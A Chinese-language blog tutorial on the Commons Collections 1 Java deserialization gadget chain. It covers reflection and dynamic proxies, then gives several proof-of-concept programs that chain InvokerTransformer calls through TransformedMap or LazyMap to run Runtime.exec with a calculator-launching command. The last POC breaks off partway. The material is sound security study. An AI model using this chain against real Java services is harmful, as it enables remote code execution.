CommonCollection1反序列化學系

akka1發表於2022-03-31

CommonsCollection1

1、前置知識

1.1、反射基礎知識

1.1.1、 物件與類的基礎知識
類(class),物件(object)
物件是類的例項化,中華田園犬(object)是狗(class)的例項化
類是物件的抽象化,狗(class)是中華田園犬(object)抽象化
1.1.2、反射獲取物件過程

1、我們可以通過以下三種方法獲取Class物件型別

Class classType = String.class;
Class classType = new String().getClass();/*new String()是一個物件*/
Class classType = Class.forName("java.lang.String");

2、在Class類中包含著很多方法函式,其中在本章節使用最頻繁的就是

getName():獲得類的完整名字。 
getFields():獲得類的public型別的屬性。

getDeclaredFields():獲得類的所有屬性。

getMethods():獲得類的public型別的方法。

getDeclaredMethods():獲得類的所有方法。

getMethod(String name, Class[] parameterTypes):獲得類的特定方法,name引數指定方法的名字,parameterTypes引數指定方法的引數型別。

getConstrutors():獲得類的public型別的構造方法。

getConstrutor(Class[] parameterTypes):獲得類的特定構造方法,parameterTypes引數指定構造方法的引數型別。

newInstance():通過類的不帶引數的構造方法建立這個類的一個物件。

2、通過預設構造方法建立一個新的物件,即先呼叫Class類的getConstructor()方法獲得一個Constructor物件,它代表預設的構造方法,然後呼叫Constructor物件的newInstance()方法構造一個例項。(此處new Class[]{}、new Object[]{}表示空引數,既呼叫預設的無引數的構造方法)

Object objectCopy=classType.getConstructor(new Class[]{}).newInstance(new Object[]{});

3、獲得物件的所有屬性,即通過Class類的getDeclaredFields()方法返回類的所有屬性,包括public、protected、default和private訪問級別的屬性

Field fields[]=classType.getDeclaredFields();

4、獲得每個屬性相應的get/set方法,然後執行這些方法,把原來的物件屬性拷貝到新的物件中。

  這裡我們可以寫一個InvokeTester的類,然後運用反射機制呼叫一個InvokeTester物件的add()方法(自定義方法),如add()方法的兩個引數為int型別,那麼獲取表示add()方法的Method物件程式碼如下:

Method addMethod=classType.getMethod("add",new Class[]{int.class,int.class});

5、反射呼叫addMethod方法

//獲得和屬性對應的getXXX()方法
Method getMethod=classType.getMethod(getMethodName,new Class[]{});
//獲得和屬性對應的setXXX()方法
Method setMethod=classType.getMethod(setMethodName,new Class[]{field.getType()});
//具體實施(第四點描述)
Method addMethod=classType.getMethod("add",new Class[]{int.class,int.class});

//呼叫原物件的getXXX()方法
Object value=getMethod.invoke(object,new Object[]{});
System.out.println(fieldName+":"+value);
//呼叫拷貝物件的setXXX()方法
setMethod.invoke(objectCopy,new Object[]{value});
addMethod.invoke()

6、具體一個小例子

首先有個Users類,他有屬性名字(name)、年齡(age)和會算加法()

public class Users {
    String name;
    int age;

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }

    public int add(int num1, int num2){
        int addnum= num1+num2;
        return addnum;

    }

}

那麼我們反射獲取他的某一個user物件的名字、年齡和加法

第一反射獲取多引數的方法add

import java.lang.reflect.Method;

public class Test {
    public static void main(String[] args) throws Exception {
        //反射獲取類物件型別,這裡獲取的是Users類物件型別
        Class<?> users = Class.forName("Users");
        //類物件型別例項化,,即先呼叫Class類的getConstructor()方法獲得一個Constructor物件,它代表預設的構造方法,然後呼叫Constructor物件的newInstance()方法構造一個例項。(此處new Class[]{}、new Object[]{}表示空引數,既呼叫預設的無引數的構造方法)
        Object user = users.getConstructor(new Class[]{}).newInstance(new Object[]{});
        //反射獲取指定的類物件型別的add方法,add方法需要兩個引數,引數型別為int型,getMethod型別的第二個引數必須是Class物件型別
        Method add = users.getMethod("add", new Class[]{int.class, int.class});
        //add方法反射呼叫(invoke)user物件,並且傳入add方法的倆個引數值,invoke方法的引數必須是object物件
        Object num = add.invoke(user, new Object[]{1, 2});
        System.out.println((Integer) num);


    }
}

反射呼叫單引數的方法setName和無引數方法getName

import java.lang.reflect.Method;

public class Test {
    public static void main(String[] args) throws Exception {
/*
        //反射獲取類物件型別,這裡獲取的是Users類物件型別
        Class<?> users = Class.forName("Users");
        //類物件型別例項化,,即先呼叫Class類的getConstructor()方法獲得一個Constructor物件,它代表預設的構造方法,然後呼叫Constructor物件的newInstance()方法構造一個例項。(此處new Class[]{}、new Object[]{}表示空引數,既呼叫預設的無引數的構造方法)
        Object user = users.getConstructor(new Class[]{}).newInstance(new Object[]{});
        //反射獲取指定的類物件型別的add方法,add方法需要兩個引數,引數型別為int型,getMethod型別的第二個引數必須是Class物件型別
        Method add = users.getMethod("add", new Class[]{int.class, int.class});
        //add方法反射呼叫(invoke)user物件,並且傳入add方法的倆個引數值,invoke方法的引數必須是object物件
        Object num = add.invoke(user, new Object[]{1, 2});
        System.out.println((Integer) num);

*/

        Class<?> users = Class.forName("Users");
        Object zhangsan = users.getConstructor(new Class[]{}).newInstance(new Object[]{});
        //反射獲取Users類的setName()方法 ,需要傳入setName的所需的引數型別,此處為String.class型別
        Method setName = users.getMethod("setName", new Class[]{String.class});
        //反射設定zhangsan物件例項的名字為張三
        setName.invoke(zhangsan,new Object[]{"張三"});
        //反射獲取Users類的getName()方法,需要傳入getName的引數型別,此處為空
        Method getName = users.getMethod("getName", new Class[]{});
        //反射獲取zhangsan物件例項的名字
        Object Name = getName.invoke(zhangsan);
        System.out.println((String) Name);


    }
}

1.1.3、反射的基本用法

反射又有很多瑣碎的點,這裡只講它的基本用法如果當前擁有一個物件的話,那麼可以動態的呼叫該物件的所有方法

// Step1 獲取Class物件
Class cls = obj.getClass();
// Step2 獲取想要的方法物件
Method mth = cls.getMethod("MethodName",new Class[]{arg1_type,arg2_type});    
// Step3 呼叫方法
mth.invoke(obj,new Object[]{arg1,arg2})

這裡注意的是getMethod的第二個引數為Class陣列,Class的概念我們之前也提到過。

1.2、動態代理知識

動態代理需要理解反射包的三個類

反射包 java.lang.reflect 的三個類:InvocationHandler,Method,Proxy

InvocationHandler

這個類其實就一個方法就是invoke方法,該方法用代理商在不改變代理物件的情況,需要新增的功能

引數:

Object proxy:jdk的代理類,無需賦值

Method method:代理物件的方法,jdk提供的Method的物件

Object[] args:代理物件的方法執行的引數

package java.lang.reflect;

public interface InvocationHandler {

    public Object invoke(Object proxy, Method method, Object[] args)
        throws Throwable;
}

Method

Method方法主要在InvocationHandler的invoke方法中實現,表示執行代理物件的方法

Method.invoke(目標的物件,方法的引數)

image-20220326234845996

Proxy

newProxyInstance的方法的三個引數為

ClassLoader loader:類載入器,負責向記憶體中載入物件的。使用反射獲取的

Class<?>[] interfaces :目標物件實現的介面,也是反射獲取的

InvocationHandler h:我們自己寫的,代理需要完成的功能

image-20220326235224217

舉個具體裡的例子(Usb)

首先實現一個統一的買usb的介面,裡面有一個賣usb的方法

public interface Usbsell {
    float sell(int acount);
}

金士頓廠家要賣usb,所以繼承這個介面,他買85元

package com.akkacloud.factory;

import com.akkacloud.service.Usbsell;

public class UsbKingFactor implements Usbsell {

    @Override
    public float sell(int acount) {
        return 85.0f;
    }
}

我們是一個商店,去買我們要賺差價

第一種寫法,直接在主函式中建立我們的InvocationHandler介面

package com.akkacloud;

import com.akkacloud.factory.UsbKingFactor;
import com.akkacloud.handler.MysellHandler;
import com.akkacloud.service.Usbsell;

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;

public class MainShop {
    public static void main(String[] args) {
        //建立代理物件,使用proxy
        //建立目標類物件,就是廠家
        UsbKingFactor usbKingFactor = new UsbKingFactor();
        //建立代理物件
        Usbsell proxy = (Usbsell) Proxy.newProxyInstance(usbKingFactor.getClass().getClassLoader(),
                usbKingFactor.getClass().getInterfaces(), new InvocationHandler() {
                    @Override
                    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
                        Object res = method.invoke(usbKingFactor, args);
                        res= (float)res+35;
                        return res;
                    }
                }
        );
        //通過代理物件執行sell
        float price = proxy.sell(1);
        System.out.println("通過代理的價格:"+price);

    }
}

第二種我們先實現InvocationHandler介面,再寫主函式

首先我們要實現我們的InvocationHandler介面,我們實施加價25塊

package com.akkacloud.handler;

import java.io.File;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;

public class MysellHandler implements InvocationHandler{

    private Object target;

    public MysellHandler(Object target) {
        this.target = target;
    }

    @Override
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        //想廠家訂購1個商品
//        float price = factory.sell(1);
        Object res = method.invoke(target, args);
        //中間商賺差價
        //price = price+25;
        if(res!=null){
            float price = (float) res;
            price=price+25;
            res =price;
        }

        return res;
    }
}

然後實現我們的商店程式碼

package com.akkacloud;

import com.akkacloud.factory.UsbKingFactor;
import com.akkacloud.handler.MysellHandler;
import com.akkacloud.service.Usbsell;

import java.lang.reflect.Proxy;

public class MainShop {
    public static void main(String[] args) {
        //建立代理物件,使用proxy
        //建立目標類物件,就是廠家
        UsbKingFactor usbKingFactor = new UsbKingFactor();
        //建立invocationHandler物件,傳入代理商的廠家為usbking
        MysellHandler mysellHandler = new MysellHandler(usbKingFactor);
        //建立代理物件
        Usbsell proxy = (Usbsell) Proxy.newProxyInstance(usbKingFactor.getClass().getClassLoader(),
                usbKingFactor.getClass().getInterfaces(),mysellHandler
                );
        //通過代理物件執行sell
        float price = proxy.sell(1);
        System.out.println("通過代理的價格:"+price);

    }
}

執行結果

image-20220327000727503

1.3、除錯所需類相關的知識和作用

Transformer

transformer的是Commons Collections包中提供的一個介面

package org.apache.commons.collections;

public interface Transformer {
    Object transform(Object var1);
}
ConstantTransformer

ConstantTransformer是Transformer的實現類

構造方法中實現對iConstant賦值,transform方法用於獲取iConstant的值

public class ConstantTransformer implements Transformer, Serializable {
    static final long serialVersionUID = 6374440726369055124L;
    public static final Transformer NULL_INSTANCE = new ConstantTransformer((Object)null);
    private final Object iConstant;

    public static Transformer getInstance(Object constantToReturn) {
        return (Transformer)(constantToReturn == null ? NULL_INSTANCE : new ConstantTransformer(constantToReturn));
    }

    public ConstantTransformer(Object constantToReturn) {
        this.iConstant = constantToReturn;
    }

    public Object transform(Object input) {
        return this.iConstant;
    }

    public Object getConstant() {
        return this.iConstant;
    }
}
InvokerTransformer

InvokerTransformer也是Transform的實現類

構造方法裡傳入Strin iMethodName(字串型別的函式名)、Class[] iParamTypes(函式的引數型別))、Object[] iArgs(函式的引數列表)

transform方法是用Java反射機制來進行執行任意程式碼


public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
  this.iMethodName = methodName;
  this.iParamTypes = paramTypes;
  this.iArgs = args;
}

public Object transform(Object input) {
  if (input == null) {
    return null;
  } else {
    try {
      Class cls = input.getClass();
      Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
      return method.invoke(input, this.iArgs);
    } catch (NoSuchMethodException var5) {
      throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
    } catch (IllegalAccessException var6) {
      throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
    } catch (InvocationTargetException var7) {
      throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
    }
  }
}
ChainedTransformer

ChainedTransformer也是Transformer的實現類

構造方法是把陣列型別的Transformer[] 賦值給iTransformers

transform方法是通過傳入Trasnformer[]陣列既iTransformers,對傳入的陣列進行遍歷並且呼叫陣列物件的transform方法。

image-20220321152258602

Map

Transform來執行命令需要繫結到Map上,抽象類AbstractMapDecorator是Apache Commons Collections提供的一個類,實現類有很多,比如LazyMap、TransformedMap等,這些類都有一個decorate()方法,用於將上述的Transformer實現類繫結到Map上,當對Map進行一些操作時,會自動觸發Transformer實現類的tranform()方法,不同的Map型別有不同的觸發規則

TransformedMap

Transformer的實現類分別繫結到map的key和value上,當map的key或value被修改時,會呼叫對應Transformer實現類的transform()方法。

通過decorate方法去呼叫構造方法,把map、keyTransformer、valueTransformer傳入,當呼叫put的方法修改key或者value時,就會呼叫transform()

我們可以把chainedtransformer繫結到一個TransformedMap上,當此map的key或value發生改變時,就會自動觸發chainedtransformer的transform()方法

//構造方法
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    return new TransformedMap(map, keyTransformer, valueTransformer);
}
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    super(map);
    this.keyTransformer = keyTransformer;
    this.valueTransformer = valueTransformer;
}
......
//改變key時、呼叫transform
protected Object transformKey(Object object) {
    return this.keyTransformer == null ? object : this.keyTransformer.transform(object);
}
......
//改變value是,呼叫transform
protected Object transformValue(Object object) {
		return this.valueTransformer == null ? object : this.valueTransformer.transform(object);
}
.....
  
//put方法用來修改  
public Object put(Object key, Object value) {
  key = this.transformKey(key);
  value = this.transformValue(value);
  return this.getMap().put(key, value);
}
LazyMap

lazyMap也是Map的實現類

//構造方法
public static Map decorate(Map map, Transformer factory) {
  return new LazyMap(map, factory);
}

//對傳入的map和Transformer例項化
protected LazyMap(Map map, Factory factory) {
  super(map);
  if (factory == null) {
    throw new IllegalArgumentException("Factory must not be null");
  } else {
    this.factory = FactoryTransformer.getInstance(factory);
  }
}
//呼叫get時,當key不存在時,呼叫Transformer實現類的transform()方法
public Object get(Object key) {
  if (!super.map.containsKey(key)) {
    Object value = this.factory.transform(key);
    super.map.put(key, value);
    return value;
  } else {
    return super.map.get(key);
  }
}

當呼叫tmpmap.get(key)的key不存在時,會呼叫TestTransformer的transform()方法

這些不同的Map型別之間的差異也正是CommonsColletions有那麼多gadget的原因之一

Map tmpmap = LazyMap.decorate(normalMap, TestTransformer);

2、漏洞復現

由於前面分析了CC1的利用鏈,但是發現在CC1的利用鏈中是有版本的限制的。在JDK1.8 8u71版本以後,對AnnotationInvocationHandlerreadobject進行了改寫。導致高版本中利用鏈無法使用

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class CommonCollection1 {
    public static void main(String[] args) {
        //此處構建了一個transformers的陣列,在其中構建了任意函式執行的核心程式碼
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"open /System/Applications/Calculator.app"})
        };

        //將transformers陣列存入ChaniedTransformer這個繼承類
        Transformer transformerChain = new ChainedTransformer(transformers);

        //建立Map並繫結transformerChina
        Map innerMap = new HashMap();
        innerMap.put("value", "value");
        //給予map資料轉化鏈
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

        //觸發漏洞
        Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
        //outerMap後一串東西,其實就是獲取這個map的第一個鍵值對(value,value);然後轉化成Map.Entry形式,這是map的鍵值對資料格式
        onlyElement.setValue("foobar");



    }
}

image-20220322134056332

3、漏洞分析

transformers

先分析第一段

Transformer[] transformers = new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
        new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
        new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"open /System/Applications/Calculator.app"})
};

//將transformers陣列存入ChaniedTransformer這個繼承類
Transformer transformerChain = new ChainedTransformer(transformers);

首先new一個Transformer陣列

Transformer[] transformers = new Transformer[] {}

然後通過ChainedTransformer類的transform()方法,迴圈獲取反射獲取指定的命令執行函式函式

public ChainedTransformer(Transformer[] transformers) {
  this.iTransformers = transformers;
}

public Object transform(Object object) {
  for(int i = 0; i < this.iTransformers.length; ++i) {
    object = this.iTransformers[i].transform(object);
  }

  return object;
}

首先看第一個類ConstantTransformer執行transform()方法後,返回的是Runtime.Class

image-20220322134958090

我們通過檢視ConstantTransformer方法可知,Runtime.Class傳入後通過構造方法賦值給iConstant,然後return這個iConstant賦值給object

public ConstantTransformer(Object constantToReturn) {
  this.iConstant = constantToReturn;
}

public Object transform(Object input) {
  return this.iConstant;
}

我們看第二類InvokerTransformer,其實這個類翻譯過來就是反射轉換,把Runtime.Class作為引數值傳給InvokerTransformer的transform方法,就是下面的式子

object=InvokerTransformer.transform(Runtime.Class)

然後我們進入到InvokerTransformer.transform()方法檢視,確實傳入的是Runtime().Class,

image-20220322140036214

首先我們來繼續看InvokerTransformer的構造方法,第一個引數的意思是函式名,第二個引數的意思是引數型別,第三個是引數

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
  this.iMethodName = methodName;
  this.iParamTypes = paramTypes;
  this.iArgs = args;
}

再看InvokerTransformer的transform方法,其實就是反射呼叫構造方法中賦值的函式

public Object transform(Object input) {
        if (input == null) {
            return null;
        } else {
            try {
                Class cls = input.getClass();
                Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
                return method.invoke(input, this.iArgs);
            } catch (NoSuchMethodException var5) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
            } catch (IllegalAccessException var6) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
            } catch (InvocationTargetException var7) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
            }
        }
    }

我們回到我們剛才除錯的點,這三個引數分別是如下,函式名是getMethod,

image-20220322140901931

getMethod.invoke(Runtime.Class,String.Class,getRunTime),反射呼叫後就是Runtime.getRuntime(),繼續傳入object

image-20220322141954997

第三次傳入的是object是Runtime.getRuntime(),函式名是invoke,引數值是null,invoke.invoke(Runtime.getRuntime(),Object.Class,null),由於Runtime是單例模式,需要執行他的getRuntime方法來獲取Runtime類的例項化物件,所以這裡用Invoke反射執行了getRuntime所以就獲得了Runtime的例項物件

image-20220322142408556

第四次傳入的object是Runtime的例項化物件,函式名是exec(),引數是"open /System/Application/Calculator.app",就是執行了Runtime.getRuntime().exec().

image-20220322143144504

通過ConstantTransformer得到Runtime.class,然後再InvokerTransformer反射得到getRuntime方法,然後通過反射執行invoke才能去呼叫getRuntime方法,這樣得到一個Runtime物件,然後再去呼叫Runtime物件的exec方法去達到命令執行。

Runtime.getRuntime().invoke(null).exec("open /System/Application/Calculator.app");

上面那麼多其實最簡單的方法是自己先寫一遍反射執行Runtime的Rce,如:

Class runtimeClass = Runtime.class;
Method getRuntime = runtimeClass.getMethod("getRuntime", null);//getMethod獲取getRuntime方法,引數為空
Runtime runtime = (Runtime) getRuntime.invoke(null, null);//反射執行getRuntime方法獲取Runtime例項,invoke方法需要兩個引數,執行的物件和執行的的引數,因為getRuntime為static方法,反射呼叫時執行的物件直接傳null就行。

Method exec = runtimeClass.getMethod("exec", String.class);//反射獲取Runtime的exec方法
exec.invoke(runtime, "open /System/Applications/Calculator.app");//反射執行

然後我們再通過ConstantTransformer和InvokerTransformer的transform方法的規則實現一下就很好理解了

Object runtime= new ConstantTransformer(Runtime.class).transform(null);
Object getMethod = new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}).transform(runtime);
Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getMethod);
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app"}).transform(r);

可以看出都是呼叫transform方法,且輸入的引數為上一個引數的結果

加入ConstantTransformer去迴圈呼叫transform

Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app"})
};


ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(null);

image-20220331180542171

第一段ChainedTransformer就是為了執行這段命令,但是我們想在需要去ChainedTransformer.transform方法

TransformedMap類

前置知識我們說過,通過呼叫TransformedMap.decorate(),再呼叫TransformedMap的構造方法賦值引數,引數分別是Map、更換的key值、更換的value值,我們通過put方法呼叫transformKey、transformValue方法來更換Map的key和value,而這時候最重要的是transformValue、transformKey方法呼叫了transform方法,也就是說我們把ChainedTransformer傳給decorate方法的valueTransformer,當呼叫put方法時就可以呼叫ChainedTransformer的transform方法了。

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
  return new TransformedMap(map, keyTransformer, valueTransformer);
}

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
  super(map);
  this.keyTransformer = keyTransformer;
  this.valueTransformer = valueTransformer;
}
protected Object transformKey(Object object) {
  return this.keyTransformer == null ? object : this.keyTransformer.transform(object);
}

protected Object transformValue(Object object) {
  return this.valueTransformer == null ? object : this.valueTransformer.transform(object);
}
public Object put(Object key, Object value) {
    key = this.transformKey(key);
    value = this.transformValue(value);
    return this.getMap().put(key, value);
}

漏洞利用

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class CommonCollection1 {
    public static void main(String[] args) {
        //此處構建了一個transformers的陣列,在其中構建了任意函式執行的核心程式碼
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"open /System/Applications/Calculator.app"})
        };

        //將transformers陣列存入ChaniedTransformer這個繼承類
        Transformer transformerChain = new ChainedTransformer(transformers);

        //建立Map並繫結transformerChina
        Map innerMap = new HashMap();
        innerMap.put("value", "value");
        //給予map資料轉化鏈
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

        outerMap.put("1","1");


//        //觸發漏洞
//        Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
//        //outerMap後一串東西,其實就是獲取這個map的第一個鍵值對(value,value);然後轉化成Map.Entry形式,這是map的鍵值對資料格式
//        onlyElement.setValue("foobar");



    }
}

image-20220322145808235

在這裡我們是使用了程式碼直接的讓他去彈出一個計算器,但是在實際運用中,需要將該程式碼轉換為序列化流。在實際運用中需要我們需要找到⼀個類,它在反序列化的readObject讀取我們序列化的流檔案。在分析該鏈的時候也比較亂,下篇文章重新來完整的除錯一下。

LazyMap

在分析前先來看看LazyMap這個類,這個類和TransformedMap類似。都是AbstractMapDecorator繼承抽象類是Apache Commons Collections提供的一個類。在兩個類不同點在於TransformedMap是在put方法去觸發transform方法,而LazyMap是在get方法去呼叫方法

public class LazyMap extends AbstractMapDecorator implements Map, Serializable {
    private static final long serialVersionUID = 7990956402564206740L;
    protected final Transformer factory;

    public static Map decorate(Map map, Transformer factory) {
        return new LazyMap(map, factory);
    }


    protected LazyMap(Map map, Transformer factory) {
        super(map);
        if (factory == null) {
            throw new IllegalArgumentException("Factory must not be null");
        } else {
            this.factory = factory;
        }
    }


    public Object get(Object key) {
        if (!super.map.containsKey(key)) {
            Object value = this.factory.transform(key);
            super.map.put(key, value);
            return value;
        } else {
            return super.map.get(key);
        }
    }
}

當呼叫get(key)的key不存在時,會呼叫transformerChain的transform()方法。

修改一下poc,使用LazyMap的get方法來觸發命令執行試試

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class CommonCollection1 {
    public static void main(String[] args) {
        //此處構建了一個transformers的陣列,在其中構建了任意函式執行的核心程式碼
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"open /System/Applications/Calculator.app"})
        };

        //將transformers陣列存入ChaniedTransformer這個繼承類
        Transformer transformerChain = new ChainedTransformer(transformers);

        //建立Map並繫結transformerChina
        Map innerMap = new HashMap();
        innerMap.put("value", "value");
        //給予map資料轉化鏈

        Map tmpmap = LazyMap.decorate(innerMap, transformerChain);
        tmpmap.get("1");



    }
}

AnnotationInvocationHandler

AnnotationInvocationHandler該類是用來處理註解的。

檢視AnnotationInvocationHandler類的建構函式有兩個引數,第⼀個引數是⼀個Annotation類型別引數,第二個是map型別引數

Annotation類型別引數傳給var1map型別傳給類var1==》TransformedMap.decorate(innerMap,transformerChain)

AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
  Class[] var3 = var1.getInterfaces();
  if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
    this.type = var1;
    this.memberValues = var2;
  } else {
    throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
  }
}

利用鏈主要用到了AnnotationInvocationHandler的invoke方法和readObject方法

invoke方法主要為三個引數(物件型別,方法型別,物件陣列)

public Object invoke(Object var1, Method var2, Object[] var3) {
    String var4 = var2.getName();
    Class[] var5 = var2.getParameterTypes();
    if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
        return this.equalsImpl(var3[0]);
    } else if (var5.length != 0) {
        throw new AssertionError("Too many parameters for an annotation method");
    } else {
        byte var7 = -1;
        switch(var4.hashCode()) {
        case -1776922004:
            if (var4.equals("toString")) {
                var7 = 0;
            }
            break;
        case 147696667:
            if (var4.equals("hashCode")) {
                var7 = 1;
            }
            break;
        case 1444986633:
            if (var4.equals("annotationType")) {
                var7 = 2;
            }
        }

        switch(var7) {
        case 0:
            return this.toStringImpl();
        case 1:
            return this.hashCodeImpl();
        case 2:
            return this.type;
        default:
            Object var6 = this.memberValues.get(var4);
            if (var6 == null) {
                throw new IncompleteAnnotationException(this.type, var4);
            } else if (var6 instanceof ExceptionProxy) {
                throw ((ExceptionProxy)var6).generateException();
            } else {
                if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
                    var6 = this.cloneArray(var6);
                }

                return var6;
            }
        }
    }
}

重要式子

memberValues就是建構函式賦值的,儲存這我們的惡意的map

Object var6 = this.memberValues.get(var4)

就是AnnotationInvocationHandler呼叫invoke方法,呼叫Lazymap的get方法,呼叫transform方法

readObject方法

我們看到第四行

Map var4 = (Map)var2.get("memberValues", (Object)null)

memberValues.的值賦值給var4

var4呼叫了entrySet().iterator()方法

var4.entrySet().iterator()
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
    GetField var2 = var1.readFields();
    Class var3 = (Class)var2.get("type", (Object)null);
    Map var4 = (Map)var2.get("memberValues", (Object)null);
    AnnotationType var5 = null;

    try {
        var5 = AnnotationType.getInstance(var3);
    } catch (IllegalArgumentException var13) {
        throw new InvalidObjectException("Non-annotation type in annotation serial stream");
    }

    Map var6 = var5.memberTypes();
    LinkedHashMap var7 = new LinkedHashMap();

    String var10;
    Object var11;
  	
    for(Iterator var8 = var4.entrySet().iterator(); var8.hasNext(); var7.put(var10, var11)) {
        Entry var9 = (Entry)var8.next();
        var10 = (String)var9.getKey();
        var11 = null;
        Class var12 = (Class)var6.get(var10);
        if (var12 != null) {
            var11 = var9.getValue();
            if (!var12.isInstance(var11) && !(var11 instanceof ExceptionProxy)) {
                var11 = (new AnnotationTypeMismatchExceptionProxy(var11.getClass() + "[" + var11 + "]")).setMember((Method)var5.members().get(var10));
            }
        }
    }

    AnnotationInvocationHandler.UnsafeAccessor.setType(this, var3);
    AnnotationInvocationHandler.UnsafeAccessor.setMemberValues(this, var7);
}

POC

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CommonCollection1 {
    public static void main(String[] args) throws Exception {
        //此處構建了一個transformers的陣列,在其中構建了任意函式執行的核心程式碼
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"open /System/Applications/Calculator.app"})
        };
        //迴圈反射呼叫InvokerTransformer.transform()方法執行Rce
        Transformer transformerChain = new ChainedTransformer(transformers);
        //通過LazyMap的get方法呼叫ChainedTransformer.transform()方法
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

        //反射建立AnnotationInvocationHandler方法,把惡意的LazyMap賦值給InvocationHandler,因為AnnotationInvocationHandler實現了InvocationHandler介面
